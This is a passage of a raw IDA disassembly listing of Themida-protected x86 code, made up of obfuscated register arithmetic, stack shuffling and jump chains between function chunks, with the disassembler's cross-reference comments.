sub_556A70+1E8Ej add ebx, 2E1568BEh inc ebx push edi jmp loc_5574ED ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_550B34: ; CODE XREF: Themida_:00559547j push esp jmp loc_55B2D7 ; --------------------------------------------------------------------------- loc_550B3A: ; CODE XREF: Themida_:00552FF5j push edx mov edx, 5F5B0074h shr edx, 7 jmp loc_55A93C ; --------------------------------------------------------------------------- loc_550B48: ; CODE XREF: Themida_:00552D1Ej push esp pop eax push esi mov esi, 71527B80h add esi, 52D56A6Eh push ecx mov ecx, 4F6A3F75h sub esi, 0E322351h sub esi, ecx jmp loc_554CD0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_550B69: ; CODE XREF: sub_556A70-1D13j sub edx, 0DC05DFB8h xor eax, edx jmp loc_55C2D6 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55AA5F loc_550B76: ; CODE XREF: sub_55AA5F-7789j push edi mov edi, 0FFBFFF9Fh add ecx, edi jmp loc_5545E1 ; END OF FUNCTION CHUNK FOR sub_55AA5F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5553D0 loc_550B83: ; CODE XREF: sub_5553D0-3489j pop ecx add esp, 4 push eax jmp loc_5594A7 ; END OF FUNCTION CHUNK FOR sub_5553D0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_550B90: ; CODE XREF: sub_556A70-B2Fj add [esp-0Ah+arg_4+2], 4 pop eax push esi mov esi, 4 add eax, esi pop esi add eax, 4 xchg eax, [esp-0Eh+arg_8+2] mov esp, [esp-0Eh+arg_8+2] jmp loc_55C3B3 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- lodsb jmp loc_55A594 ; --------------------------------------------------------------------------- loc_550BB5: ; CODE XREF: Themida_:005582E7j pop esp jmp loc_5560FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_550BBB: ; CODE XREF: sub_556A70-380Cj pop edx and ecx, ebx push [esp-12h+arg_C+2] mov ebx, [esp-0Eh+arg_8+2] add esp, 4 push edi mov edi, esp jmp loc_5579F0 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_554299 loc_550BD2: ; CODE XREF: sub_554299+7C39j xchg ebp, [esp+0] pop esp shl [esp-4+arg_0], cl jmp loc_55BF23 ; END OF FUNCTION CHUNK FOR sub_554299 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_550BDE: ; CODE XREF: sub_556A70+A20j add esi, 7D375955h or esi, 5E703305h sub esi, 8A465857h jmp loc_55BA3B ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_553D17 loc_550BF5: ; CODE XREF: sub_553D17+23D2j mov [esp+8+var_8], edx jmp loc_55CDC6 ; END OF FUNCTION CHUNK FOR sub_553D17 ; =============== S U B R O U T I N E ======================================= sub_550BFD proc near ; CODE XREF: sub_556A70+1C09j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00551799 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0055528B SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0055627F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00559427 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005598EC SIZE 00000031 BYTES ; FUNCTION CHUNK AT 00559DB4 SIZE 0000000C BYTES push ebx mov ebx, 1F380A95h xor ebx, 7F2414BDh shr ebx, 6 neg ebx or ebx, 48887296h dec ebx jmp loc_55627F sub_550BFD endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5584F8 loc_550C1A: ; CODE XREF: sub_5584F8-3925j shl ebp, 4 dec ebp push 30C5h mov [esp+4+var_4], eax jmp loc_55A119 ; END OF FUNCTION CHUNK FOR sub_5584F8 ; --------------------------------------------------------------------------- loc_550C2B: ; CODE XREF: Themida_:005520F9j and bl, cl pop ecx push ax mov ah, 86h sub bl, ah pop ax jmp loc_558128 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5516F8 loc_550C3B: ; CODE XREF: sub_5516F8+A90Aj xchg eax, ecx add ecx, 0FFFFFFFFh not ecx shl ecx, 3 jmp loc_555233 ; END OF FUNCTION CHUNK FOR sub_5516F8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_550C49: ; CODE XREF: sub_556A70+1995j pop ax jmp loc_552EF2 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_550C50: ; CODE XREF: Themida_:00555A93j mov [esp], ebx mov bh, al mov dl, bh mov ebx, [esp] jmp loc_55A27E ; --------------------------------------------------------------------------- loc_550C5F: ; CODE XREF: Themida_:0055814Ej add eax, 27931919h add eax, esi push edx mov edx, 4D065FF9h dec edx add edx, 8110428h dec edx add edx, 0EE94252h dec edx sub edx, 3C6D8D57h sub eax, edx pop edx push dword ptr [esp] push dword ptr [esp] pop esi add esp, 4 push edi push esp pop edi jmp loc_552CBE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_550C99: ; CODE XREF: sub_556A70-3B97j xor ebx, 43465CF4h add edi, ebx pop ebx push eax mov eax, 739F340Dh jmp loc_55BC3E ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_550CAD: ; CODE XREF: Themida_:00554CA7j sub dh, 1Dh or dh, 0C3h xor dh, 5Dh add al, dh jmp loc_5563AF ; --------------------------------------------------------------------------- loc_550CBD: ; CODE XREF: Themida_:0055BC08j not al shr al, 7 and al, 2Eh xor al, 4Ch add al, 8Eh mov dh, al pop eax add al, dh mov edx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_55CDB2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55ABA3 loc_550CE4: ; CODE XREF: sub_55ABA3+21DDj add esp, 4 jmp loc_552F51 ; END OF FUNCTION CHUNK FOR sub_55ABA3 ; --------------------------------------------------------------------------- loc_550CEC: ; CODE XREF: Themida_:0055B5F0j mov ebp, [esp] jmp loc_558F85 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_550CF4: ; CODE XREF: sub_556A70+195Aj pop [esp-10h+arg_C] push [esp-14h+arg_10] push [esp-10h+arg_C] jmp loc_5529F8 ; --------------------------------------------------------------------------- loc_550D02: ; CODE XREF: sub_556A70-CBBj or eax, eax jz sub_553651 push dword ptr [edi+1Ch] mov ecx, [esp-8+arg_4] jmp loc_55366A ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5584F8 loc_550D15: ; CODE XREF: sub_5584F8-6497j mov ebx, ebp jmp loc_55897A ; END OF FUNCTION CHUNK FOR sub_5584F8 ; --------------------------------------------------------------------------- loc_550D1C: ; CODE XREF: Themida_:00554D0Fj add esp, 4 push eax mov ah, 3Eh add ah, 89h and ah, 6Bh xor ah, 50h jmp loc_552B6C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_550D33: ; CODE XREF: sub_556A70+800j sub eax, 4A5F0080h add eax, 22DC0DEEh add eax, 77107898h jmp loc_555CAC ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_550D47: ; CODE XREF: Themida_:0055986Aj shr dword ptr [esp], cl pushf jmp loc_550A46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_555B85 loc_550D50: ; CODE XREF: sub_555B85-31E1j dec ecx push edi mov edi, 26F84E88h dec edi inc edi inc edi jmp loc_553C39 ; END OF FUNCTION CHUNK FOR sub_555B85 ; --------------------------------------------------------------------------- lodsb push edx mov dl, 30h push ecx mov cl, 0CBh sub cl, 0FFh jmp loc_559F1A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55B730 loc_550D6E: ; CODE XREF: sub_55B730-5024j mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+8+var_8] pop esp or edx, eax shl edx, 1 push 4941h mov [esp+8+var_8], ebp push ebx mov ebx, 2E9B366Bh add ebx, 6A772E1Fh sub ebx, 7F0F632Ch dec ebx push ebp mov ebp, 3B8254C2h jmp loc_55AD65 ; END OF FUNCTION CHUNK FOR sub_55B730 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_550DAA: ; CODE XREF: sub_556A70-54D4j push 23B1h mov [esp-4+arg_0], ecx push [esp-4+arg_4] pop ecx jmp loc_555823 ; --------------------------------------------------------------------------- loc_550DBC: ; CODE XREF: sub_556A70-1D49j push edx jmp loc_55301E ; --------------------------------------------------------------------------- loc_550DC2: ; CODE XREF: sub_556A70+E23j mov [esp+0], edi mov edi, esp add edi, 4 add edi, 4 jmp loc_555A2E ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_550DD8: ; CODE XREF: Themida_:0055B0C3j inc ah not ah push edx mov dh, 9Eh push eax mov al, dh jmp loc_553336 ; --------------------------------------------------------------------------- loc_550DE7: ; CODE XREF: Themida_:0055CA30j push edx mov edx, 1BA23591h add edx, 414A29E4h sub eax, edx jmp loc_55CBD3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_550DFA: ; CODE XREF: sub_556A70+4A86j push 1B0h mov [esp+4+var_4], esi pop ebp pop esi add edx, 6CC05474h add edx, ebp sub edx, 6CC05474h pop ebp xchg edx, [esp-8+arg_4] jmp loc_5514BB ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_552634 loc_550E1B: ; CODE XREF: sub_552634+9000j dec esi jmp loc_556A61 ; END OF FUNCTION CHUNK FOR sub_552634 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_550E21: ; CODE XREF: sub_556A70+5781j and ecx, ebx pop ebx shr ecx, 7 jmp loc_55AA31 ; END OF FUNCTION CHUNK FOR sub_556A70 ; =============== S U B R O U T I N E ======================================= sub_550E2C proc near ; CODE XREF: sub_556A70+724j var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00552E96 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005563BC SIZE 00000022 BYTES ; FUNCTION CHUNK AT 00557EF3 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00557F90 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0055A1F2 SIZE 00000012 BYTES sub esp, 4 jmp loc_557EF3 sub_550E2C endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_550E34: ; CODE XREF: Themida_:00553954j pop ebx add edi, 6E8455E4h add edi, ecx sub edi, 6E8455E4h pop ecx add edi, 4 xor edi, [esp] xor [esp], edi jmp loc_55315A ; --------------------------------------------------------------------------- loc_550E52: ; CODE XREF: Themida_:0055C955j mov [esp], esi push edi mov edi, 0AEB2330h jmp loc_556747 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_550E60: ; CODE XREF: sub_556A70-5A82j mov [esp-0Ch+arg_8], esi push edx mov edx, 10B625A8h sub edx, 1 dec edx xor edx, 481045F9h push ebp jmp loc_55842D ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55AA5F loc_550E79: ; CODE XREF: sub_55AA5F-2171j pop esp movzx ecx, ax sub esp, 4 mov [esp+4+var_4], edx push esp pop edx push 0F04h mov [esp+8+var_8], ebp mov ebp, 4 sub edx, 3BDA4DD9h add edx, ebp jmp loc_552536 ; END OF FUNCTION CHUNK FOR sub_55AA5F ; --------------------------------------------------------------------------- lodsb push edx mov dh, 0CAh sub al, dh pop edx jmp loc_55921B ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] add esp, 4 push 50EDh mov [esp], ebx push esp pop ebx add ebx, 4 push esi push ecx jmp loc_553DA4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_552E24 loc_550ED1: ; CODE XREF: sub_552E24+82BCj push ecx mov ecx, 0DAB0EEF8h jmp loc_55CD39 ; END OF FUNCTION CHUNK FOR sub_552E24 ; --------------------------------------------------------------------------- loc_550EDC: ; CODE XREF: Themida_:0055A1E3j push 781h mov [esp], ebx mov ebx, 37A11030h inc ebx jmp loc_551D14 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_550EEF: ; CODE XREF: sub_556A70-2036j add edi, 4 push 535Ah mov [esp+0], ebx push ecx push 323D1B18h jmp loc_5515B2 ; --------------------------------------------------------------------------- loc_550F08: ; CODE XREF: sub_556A70+1B1j push edx mov edx, 5B2E2950h and edx, 31235D1Ch jmp loc_559179 ; --------------------------------------------------------------------------- loc_550F19: ; CODE XREF: sub_556A70-410Aj add edx, 0ACDF7D9Ch add eax, edx pop edx add eax, edi mov dword ptr [eax], 0 pop eax loc_550F2B: ; CODE XREF: sub_556A70-3B70j ; sub_556A70-268Aj mov ebx, [esp+4+var_4] push ecx mov ecx, esp add ecx, 4 sub esp, 4 mov [esp+0Ch+var_C], eax mov eax, 540B4433h push ecx mov ecx, 24B0114Fh and eax, ecx pop ecx jmp loc_55641C ; END OF FUNCTION CHUNK FOR sub_556A70 ; =============== S U B R O U T I N E ======================================= sub_550F53 proc near ; CODE XREF: sub_556A70+3889j var_C = dword ptr -0Ch ; FUNCTION CHUNK AT 00552C5A SIZE 00000027 BYTES ; FUNCTION CHUNK AT 005583A0 SIZE 0000000A BYTES push ebx mov ebx, 48C27B18h jmp loc_552C5A sub_550F53 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_550F5E: ; CODE XREF: sub_556A70+51C9j xor [esp+0Ch+var_C], esi xor esi, [esp+0Ch+var_C] mov esp, [esp+0Ch+var_C] jmp loc_556A18 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5566B9 loc_550F6C: ; CODE XREF: sub_5566B9-3A9j mov ebp, 216B4127h push esi mov esi, 4299369Ah mov ecx, esi jmp loc_558EAC ; END OF FUNCTION CHUNK FOR sub_5566B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5584F8 loc_550F7E: ; CODE XREF: sub_5584F8-22B7j mov edx, 2F661BE8h push ecx mov ecx, 67B66738h or edx, ecx pop ecx sub edx, 99D4555Bh sub ebp, edx pop edx mov edx, ebp pop ebp add [esp-4+arg_4], 563C6DCFh jmp loc_55CA93 ; END OF FUNCTION CHUNK FOR sub_5584F8 ; --------------------------------------------------------------------------- loc_550FA5: ; CODE XREF: Themida_:0055C6ADj mov edx, esp jmp loc_551A7C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_550FAC: ; CODE XREF: sub_556A70-25FDj push eax mov eax, 66BB2037h xchg eax, edx not edx xchg eax, edx dec eax add eax, 66BB203Dh jmp loc_55778F ; --------------------------------------------------------------------------- loc_550FC1: ; CODE XREF: sub_556A70-2861j mov edi, ecx mov ecx, [esp+10h+var_10] add esp, 4 mov ecx, edi mov edi, [esp+0Ch+var_C] add esp, 4 jmp loc_558E9C ; --------------------------------------------------------------------------- loc_550FD9: ; CODE XREF: sub_556A70-D82j add ebp, 4 add ebp, 4 xchg ebp, [esp+8+var_8] pop esp push 51C5h jmp loc_550E60 ; --------------------------------------------------------------------------- loc_550FF3: ; CODE XREF: sub_556A70+369Ej or edi, 4D1B5575h jmp loc_556CA2 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_550FFE: ; CODE XREF: Themida_:00557BE6j mov [esp], ecx mov cl, 0BDh push bx jmp loc_554D38 ; --------------------------------------------------------------------------- loc_55100A: ; CODE XREF: Themida_:0055A5DAj mov [esp], ecx push 402Eh mov [esp], eax mov eax, 712F3DA6h mov ecx, 25DC5571h xor ecx, eax pop eax sub ecx, 54F368D5h jmp loc_55C394 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55102D: ; CODE XREF: sub_556A70-57Cj add ebp, eax pop eax jmp loc_55CB44 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax sbb [esp], al pushf jmp loc_550A46 ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_559023 ; --------------------------------------------------------------------------- loc_55104D: ; CODE XREF: Themida_:00558377j mov ecx, [esp] jmp loc_5594CD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_551055: ; CODE XREF: sub_556A70-5591j add ebp, 611C64D4h xor esi, ebp jmp loc_559D8C ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_557F09 loc_551062: ; CODE XREF: sub_557F09+4257j pop edi xor ebx, 1002054Eh jmp loc_55639E ; END OF FUNCTION CHUNK FOR sub_557F09 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55106E: ; CODE XREF: sub_556A70+4FD9j mov word ptr [esp+4+var_4], bx push ecx mov ch, 0FFh jmp loc_55A1E8 ; --------------------------------------------------------------------------- loc_55107A: ; CODE XREF: sub_556A70+5ECEj push 1AF6h mov [esp+0Ch+var_C], edi push 4 push [esp+10h+var_10] pop edi push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+14h+var_14] pop esp add ebp, edi jmp loc_553010 ; --------------------------------------------------------------------------- loc_5510A5: ; CODE XREF: sub_556A70+5DC5j mov esp, [esp+10h+var_10] push ecx push 3A2Eh mov [esp+18h+var_18], edx mov dl, al mov ch, dl pop edx push ebx mov ebx, 0 sub ebx, 55646909h add ebx, edx jmp loc_556846 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55CC90 loc_5510C9: ; CODE XREF: sub_55CC90-9CDDj add eax, 4 xchg eax, [esp+0] pop esp add bl, al add bl, 44h jmp loc_552884 ; END OF FUNCTION CHUNK FOR sub_55CC90 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55515F loc_5510DA: ; CODE XREF: sub_55515F+74D4j push eax jmp loc_55280C ; END OF FUNCTION CHUNK FOR sub_55515F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_552B74 loc_5510E0: ; CODE XREF: sub_552B74+BBCj mov cl, 4Ah push ebx jmp loc_55294A ; END OF FUNCTION CHUNK FOR sub_552B74 ; --------------------------------------------------------------------------- push 5A5Ah mov [esp], eax push dword ptr [esp] jmp loc_554259 ; --------------------------------------------------------------------------- loc_5510F8: ; CODE XREF: Themida_:00558FDBj mov [esp], ebx push eax jmp loc_55AAB6 ; --------------------------------------------------------------------------- lodsd push edi mov edi, 3EC054Dh sub edi, 0F315C521h add eax, edi pop edi sub eax, ebx jmp loc_555C13 ; --------------------------------------------------------------------------- loc_551118: ; CODE XREF: Themida_:00555089j xor eax, esi jmp loc_553C05 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_553D17 loc_55111F: ; CODE XREF: sub_553D17+5ECDj and bl, 8Fh add bl, 24h sub ah, bl pop ebx sub ah, 8Ah jmp loc_55433E ; END OF FUNCTION CHUNK FOR sub_553D17 ; --------------------------------------------------------------------------- loc_551130: ; CODE XREF: Themida_:00558F64j push dword ptr [esp] pop ecx push 441Eh mov [esp], ebx mov ebx, esp push 0AC4h mov [esp], eax jmp loc_55AE2E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55114B: ; CODE XREF: sub_556A70+3B5Dj add esp, 4 mov ecx, [esp+14h+var_14] add esp, 4 popa popf jmp nullsub_4 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55115E: ; CODE XREF: Themida_:005545CFj push 816h mov [esp], ebx mov bh, 17h and bh, 0F0h add bh, 0D9h sub bh, 7Ah push edx mov dl, 0ADh jmp loc_551305 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5566B9 loc_551179: ; CODE XREF: sub_5566B9+3Dj shr ecx, 1 add ecx, 69192E6Bh shr ecx, 2 shr ecx, 8 not ecx jmp loc_55A35C ; END OF FUNCTION CHUNK FOR sub_5566B9 ; --------------------------------------------------------------------------- loc_55118E: ; CODE XREF: Themida_:0055C39Cj xor eax, [esp] xor [esp], eax jmp loc_55C587 ; --------------------------------------------------------------------------- push dword ptr [esp] pop eax push eax mov eax, esp jmp loc_551D57 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5511A5: ; CODE XREF: sub_556A70+29D2j push ecx mov ch, 9 sub al, 0BEh sub al, ch push dx mov dh, 0BEh jmp loc_557AF9 ; --------------------------------------------------------------------------- loc_5511B5: ; CODE XREF: sub_556A70+34F3j push 730h mov [esp-0Ah+arg_4+2], edi mov edi, 551F5326h not edi neg edi xor edi, 12982CF3h and edx, edi pop edi add edx, 0BF58CF6Bh sub eax, edx pop edx jmp loc_552570 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_555B85 loc_5511DD: ; CODE XREF: sub_555B85-44D2j dec ebp not ebp add ebp, 76795788h add ebx, ebp mov ebp, [esp+0] add esp, 4 jmp loc_552998 ; END OF FUNCTION CHUNK FOR sub_555B85 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5584F8 loc_5511F6: ; CODE XREF: sub_5584F8-6042j shr ecx, 4 push ebx jmp loc_5551F7 ; END OF FUNCTION CHUNK FOR sub_5584F8 ; --------------------------------------------------------------------------- loc_5511FF: ; CODE XREF: Themida_:00555F0Ej jmp loc_550A46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_551204: ; CODE XREF: sub_556A70+5E55j add esp, 4 mov dword ptr [edi+24h], 72C7434Fh sub esp, 4 mov [esp-12h+arg_C+2], ecx jmp sub_559CCC ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55121F: ; CODE XREF: Themida_:0055552Bj neg edx neg edx jmp loc_55AFD0 ; --------------------------------------------------------------------------- loc_551228: ; CODE XREF: Themida_:0055B332j push 690Dh mov [esp], edx push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] add [esp], eax pushf jmp loc_557057 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_551244: ; CODE XREF: sub_556A70+5FB0j mov edi, 5EA29E17h jmp loc_55324A ; --------------------------------------------------------------------------- loc_55124E: ; CODE XREF: sub_556A70-20ADj mov [esp-12h+arg_C+2], ebp sub esp, 4 mov [esp-0Eh+arg_8+2], esi mov esi, 3435C8Dh mov ebp, 5B265CFh xor ebp, esi mov esi, [esp-0Eh+arg_8+2] add esp, 4 xor [esp-12h+arg_10+2], ebp pop ebp mov eax, [esp-16h+arg_10+2] push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_557543 ; --------------------------------------------------------------------------- loc_551282: ; CODE XREF: sub_556A70+6D0j pop edi jmp loc_55A0EC ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- pop dword ptr [edi+40h] jmp loc_559845 ; --------------------------------------------------------------------------- push dword ptr [esp] mov ecx, [esp] add esp, 4 jmp loc_558FBF ; --------------------------------------------------------------------------- loc_5512A1: ; CODE XREF: Themida_:0055A284j mov al, [esp+2] mov [esp+2], dl mov dx, [esp] push ebp mov ebp, esp add ebp, 4 push edi mov edi, 40EE4000h shl edi, 3 jmp loc_557036 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_552B74 loc_5512C4: ; CODE XREF: sub_552B74+6j mov word ptr [esp+4+var_4], dx mov dl, 2 push ecx push ebx mov bh, 22h mov ch, bh mov ebx, [esp+0Ch+var_C] add esp, 4 jmp loc_55A32A ; END OF FUNCTION CHUNK FOR sub_552B74 ; --------------------------------------------------------------------------- loc_5512DB: ; CODE XREF: Themida_:005515D1j pop ebp jmp loc_554466 ; --------------------------------------------------------------------------- loc_5512E1: ; CODE XREF: Themida_:00551C8Dj pop dx pop eax jmp loc_554EF3 ; --------------------------------------------------------------------------- loc_5512E9: ; CODE XREF: Themida_:0055695Bj mov ecx, [esp] add esp, 4 add edx, 4 xchg edx, [esp] mov esp, [esp] jmp loc_55A65E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5512FD: ; CODE XREF: sub_556A70+5174j shl dh, 6 jmp loc_554638 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_551305: ; CODE XREF: Themida_:00551174j add dl, 31h xor dl, 71h jmp loc_55202A ; --------------------------------------------------------------------------- loc_551310: ; CODE XREF: Themida_:00559C7Dj pop eax add bl, 0C2h sub bl, 0A6h push dx mov dh, 0B9h xor bl, dh jmp loc_55B397 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_551322: ; CODE XREF: sub_556A70-4827j sub ebp, 619576A8h shl ebp, 2 not ebp sub ebp, 8D9CD3DFh mov eax, ebp pop ebp dec eax jmp loc_558216 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_558D0E loc_55133C: ; CODE XREF: sub_558D0E+3DF9j mov ebx, 4F6B28D8h jmp loc_552FC6 ; END OF FUNCTION CHUNK FOR sub_558D0E ; --------------------------------------------------------------------------- loc_551346: ; CODE XREF: Themida_:00553423j add ecx, ebp pop ebp add ecx, 2 xor ecx, [esp] jmp loc_554C0F ; --------------------------------------------------------------------------- push esi push esp pop esi push ebp mov ebp, 37294385h add ebp, 281D34ACh add ebp, 0A0B987D3h jmp loc_5515CF ; --------------------------------------------------------------------------- loc_55136E: ; CODE XREF: Themida_:0055CBE4j push esi jmp loc_5524C1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5539DB loc_551374: ; CODE XREF: sub_5539DB+6DBAj xchg edi, [esp+0Ch+var_C] pop edi sub esp, 4 jmp loc_55CB36 ; END OF FUNCTION CHUNK FOR sub_5539DB ; --------------------------------------------------------------------------- loc_551383: ; CODE XREF: Themida_:0055876Cj mov dl, 31h jmp loc_55BFAF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55138A: ; CODE XREF: sub_556A70+5CF2j push cx mov cl, 66h xor ah, cl jmp loc_55ADD4 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_551395: ; CODE XREF: Themida_:0055A2E1j push edx jmp loc_55C79A ; --------------------------------------------------------------------------- loc_55139B: ; CODE XREF: Themida_:0055A6BEj xchg eax, [esp] jmp loc_557CD7 ; --------------------------------------------------------------------------- loc_5513A3: ; CODE XREF: Themida_:005594D0j push 34D6h mov [esp], ebx push ebp mov ebp, 2 mov ebx, ebp jmp loc_555359 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5513B8: ; CODE XREF: sub_556A70+61Fj pop eax push eax mov eax, 2 add ecx, 5E99510Fh sub ecx, eax sub ecx, 5E99510Fh jmp loc_5544F6 ; --------------------------------------------------------------------------- loc_5513D2: ; CODE XREF: sub_556A70-1916j push eax mov eax, esp add eax, 4 add eax, 4 jmp loc_556F60 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_5513E2: ; CODE XREF: Themida_:00553B40j sub ecx, 4 push ecx jmp loc_55B1E1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5513EB: ; CODE XREF: sub_556A70-3EA3j mov ch, 4Fh jmp loc_55A9E2 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5567EA loc_5513F2: ; CODE XREF: sub_5567EA+4EE1j shr edx, 7 add edx, 27C74D17h and edx, 77BB7DC5h xor edx, 392C065Ah push ecx mov ecx, 49CD081Eh neg ecx and ecx, 2CA83119h add ecx, 18445E43h and ecx, 293F0B85h jmp loc_552D8D ; END OF FUNCTION CHUNK FOR sub_5567EA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5584F8 loc_551426: ; CODE XREF: sub_5584F8+2EC8j add esi, 4 jmp loc_55B43B ; END OF FUNCTION CHUNK FOR sub_5584F8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_551431: ; CODE XREF: sub_556A70+E09j xchg esi, [esp-14h+arg_10] pop esp jmp loc_553395 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55143A: ; CODE XREF: Themida_:00555894j add dword ptr [esp+4], 1B290341h pop esi sub esp, 4 mov [esp], eax mov eax, 32A428EFh sub [esp+4], eax pop eax jmp loc_55751C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55145B: ; CODE XREF: sub_556A70-C18j sub bx, ax sub esp, 2 mov word ptr [esp-14h+arg_10], si jmp loc_5566A8 ; END OF 